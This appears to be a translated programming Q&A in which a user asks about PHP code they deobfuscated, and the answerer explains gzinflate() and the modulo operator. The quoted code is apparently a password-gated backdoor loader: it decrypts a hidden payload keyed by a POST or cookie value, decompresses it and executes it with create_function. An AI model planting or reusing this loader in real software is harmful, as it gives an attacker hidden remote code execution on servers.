我有一些PHP代码,我一直在解密(去混淆)2个小时。我终于将它转换回可读代码,但由于缺乏对下面代码中某些内容的了解,我仍然有一些问题需要理解这里使用的算法。
<?php
$posted = isset($_POST['posted']) ? $_POST['posted'] : (isset($_COOKIE['posted']) ? $_COOKIE['posted'] : NULL);
if ($posted!==NULL) {
$posted= md5($posted) . substr(md5(strrev($posted)), 0, strlen($posted));
for ($counter=0; $counter < 15324; $counter++) {
$idk[$counter] = chr((ord($idk[$counter]) - ord($posted[$counter])) % 256);
$posted.=$idk[$counter];
}
if($idk = @gzinflate($idk)) {
if (isset($_POST['posted']))
@setcookie('posted', $_POST['posted']);
$counter = create_function('', $idk);
unset($idk, $posted);
$counter();
}
}
$idk
变量已经是一个包含一个被base64解码的长字符串的值。
我理解几乎所有代码,但我不知道% 256
在这里做了什么,也不知道gzinflate()
做了什么。
答案 0 :(得分:3)
因此,gzinflate()
取消压缩使用zlib DEFLATE
算法压缩的输入数据。 压缩或 deflate 未压缩字符串的相应功能称为gzdeflate()
,它的手册页提供了更多信息:
此函数使用DEFLATE数据格式压缩给定的字符串。
有关DEFLATE压缩算法的详细信息,请参阅文档&#34; DEFLATE Compressed Data Format Specification version 1.3&#34; (RFC 1951)。除了一些细节之外,这类似于在Linux命令行上使用
gzip myfile.txt
压缩文件,这将创建压缩文件myfile.txt.gz
。简而言之,这是解压缩到$idk
的压缩数据。
$variable % 256
将余下的$variable
除以256
。如果我将$variable
设置为258
,则$variable % 256
将为2
。当您想要查看某个数字是否可以被另一个数字完全整除时,通常会使用此选项。如果我想在循环的每100
次显示一次状态更新,例如,我可能会这样做:
<?php
for ($i = 1; $i <= 1000; ++$i)
{
// Do something on each loop.
if (($i % 100) == 0)
{
echo sprintf("Loop %d of 1000; %d percent complete.\n", $i, $i / 1000 * 100);
}
}
但显然还有许多其他用途。
至于帮助你弄清楚这个源代码到底是做什么的,我建议我一步一步地通过实际输入来看看它,看看每个步骤后会发生什么。如果没有更多的背景,我很难弄清楚它做了什么。